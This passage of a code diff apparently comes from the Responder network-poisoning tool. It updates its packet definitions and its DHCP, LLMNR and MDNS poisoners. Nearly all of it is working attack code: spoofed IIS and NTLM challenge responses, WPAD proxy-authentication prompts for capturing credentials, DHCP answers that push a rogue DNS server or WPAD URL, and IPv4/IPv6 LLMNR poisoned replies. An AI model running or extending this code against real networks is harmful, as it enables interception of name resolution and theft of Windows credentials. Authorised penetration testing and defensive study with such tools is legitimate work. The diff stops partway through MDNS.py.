("FileCRLF", ";\r\n"),
@@ -391,7 +608,7 @@ class ServeHtmlFile(Packet):
("ContentType", "Content-Type: text/html\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/7.5\r\n"),
("Server", "Server: Microsoft-IIS/10.0\r\n"),
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
@@ -406,7 +623,7 @@ class ServeHtmlFile(Packet):
class WPAD_Auth_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
@@ -422,7 +639,7 @@ class WPAD_Auth_407_Ans(Packet):
class WPAD_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
@@ -438,7 +655,7 @@ class WPAD_NTLM_Challenge_Ans(Packet):
class WPAD_Basic_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
@@ -455,7 +672,7 @@ class WEBDAV_Options_Answer(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
("Len", "Content-Length: 0\r\n"),
("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
@@ -543,7 +760,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"),
("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
@@ -644,7 +861,7 @@ class IMAPGreeting(Packet):
class IMAPCapability(Packet):
fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN AUTH=LOGIN AUTH=NTLM"),
("CRLF", "\r\n"),
])
@@ -655,6 +872,24 @@ class IMAPCapabilityEnd(Packet):
("CRLF", "\r\n"),
])
##### MQTT Packets #####
class MQTTv3v4ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x02"),
("Session", "\x00"),
("Code", "\x04"),
])
class MQTTv5ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x03"),
("Session", "\x00"),
("Code", "\x86"),
("Prop", "\x00"),
])
##### POP3 Packets #####
class POPOKPacket(Packet):
fields = OrderedDict([
@@ -800,9 +1035,9 @@ class LDAPNTLMChallenge(Packet):
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionHigh", "\x0a"),
("NegTokenInitSeqMechMessageVersionLow", "\x00"),
("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),
@@ -1533,7 +1768,7 @@ class SMB2NegoAns(Packet):
("Signing", "\x01\x00"),
("Dialect", "\xff\x02"),
("Reserved", "\x00\x00"),
("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"),
("Guid", urandom(16).decode('latin-1')),
("Capabilities", "\x07\x00\x00\x00"),
("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"),
@@ -1556,9 +1791,9 @@ class SMB2NegoAns(Packet):
("NegTokenTag0ASNLen", "\x3c"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x3a"),
("NegThisMech1ASNId", "\x06"),
("NegThisMech1ASNLen", "\x0a"),
("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
#("NegThisMech1ASNId", "\x06"),
#("NegThisMech1ASNLen", "\x0a"),
#("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
@@ -1587,14 +1822,14 @@ class SMB2NegoAns(Packet):
StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
@@ -1610,7 +1845,7 @@ class SMB2NegoAns(Packet):
self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
#self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
@@ -2228,7 +2463,7 @@ class SamLogonResponseEx(Packet):
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", "LGANDX"),
("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),

View File

@@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import random
import optparse
import configparser
import os
@@ -84,7 +85,7 @@ ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a st
NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0"
DNSNAME = "lan"
DNSNAME = "local"
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
Respond_To_Requests = True
DHCPClient = []
@@ -197,22 +198,28 @@ class DHCPACK(Packet):
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252", ""),
("Op252Len", ""),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
def calculate(self, DHCP_DNS):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
if DHCP_DNS:
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
else:
self.fields["Op252"] = "\xfc"
self.fields["Op252Str"] = WPADSRV
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
@@ -232,11 +239,15 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
IPPos = data.find(b"\x32\x04") + 2
if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
#Probably not present in the DHCP options we received, let's grab it from the IP header instead
return data[12:16]
else:
IP = data[IPPos:IPPos+4]
return IP
def ParseDHCPCode(data, ClientIP):
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient
global ROUTERIP
PTid = data[4:8]
@@ -249,8 +260,8 @@ def ParseDHCPCode(data, ClientIP):
RequestIP = data[245:249]
if DHCPClient.count(MacAddrStr) >= 4:
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
ROUTERIP = ClientIP
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
@@ -262,7 +273,7 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
@@ -273,6 +284,26 @@ def ParseDHCPCode(data, ClientIP):
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
# DHCP Inform
elif OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': RequestedIP,
})
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
@@ -281,7 +312,7 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
@@ -308,7 +339,7 @@ def SendDHCP(packet,Host):
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP():
def DHCP(DHCP_DNS):
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
SendDiscover()
@@ -318,6 +349,6 @@ def DHCP():
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP)
if ret:
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
if ret and not settings.Config.Quiet_Mode:
print(text("[*] [DHCP] %s" % ret))

75
poisoners/LLMNR.py Normal file → Executable file
View File

@@ -14,9 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
from packets import LLMNR_Ans
from packets import LLMNR_Ans, LLMNR6_Ans
from utils import *
if (sys.version_info > (3, 0)):
@@ -24,8 +22,8 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_LLMNR_Name(data):
import codecs
@@ -42,11 +40,11 @@ def IsICMPRedirectPlausible(IP):
for line in file:
ip = line.split()
if len(ip) < 2:
continue
continue
elif ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
if x != "127.0.0.1" and IsIPv6IP(x) is False and IsOnTheSameSubnet(x,IP) is False: #Temp fix to ignore IPv6 DNS addresses
print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5))
print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5))
print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5))
@@ -60,37 +58,70 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try:
data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
if settings.Config.AnswerName is None:
AnswerName = Name
else:
AnswerName = settings.Config.AnswerName
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
return None
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
#IPv4
if data[2:4] == b'\x00\x00' and LLMNRType:
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
# Don't print if in Quiet Mode
if not settings.Config.Quiet_Mode:
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
elif LLMNRType == True: # Poisoning Mode
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
elif LLMNRType == 'IPv6' and Have_IPv6:
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
except:
raise
pass

85
poisoners/MDNS.py Normal file → Executable file
View File

@@ -20,9 +20,12 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
from packets import MDNS_Ans, MDNS6_Ans
from utils import *
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_MDNS_Name(data):
try:
if (sys.version_info > (3, 0)):
@@ -32,14 +35,14 @@ def Parse_MDNS_Name(data):
NameLen_ = data[1+NameLen]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
FinalName = Name+b'.'+Name_
return FinalName.decode("latin-1")
return FinalName.decode("latin-1").replace("\x05","")
else:
data = NetworkRecvBufferPython2or3(data[12:])
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
return Name+'.'+Name_.replace("\x05","")
except IndexError:
return None
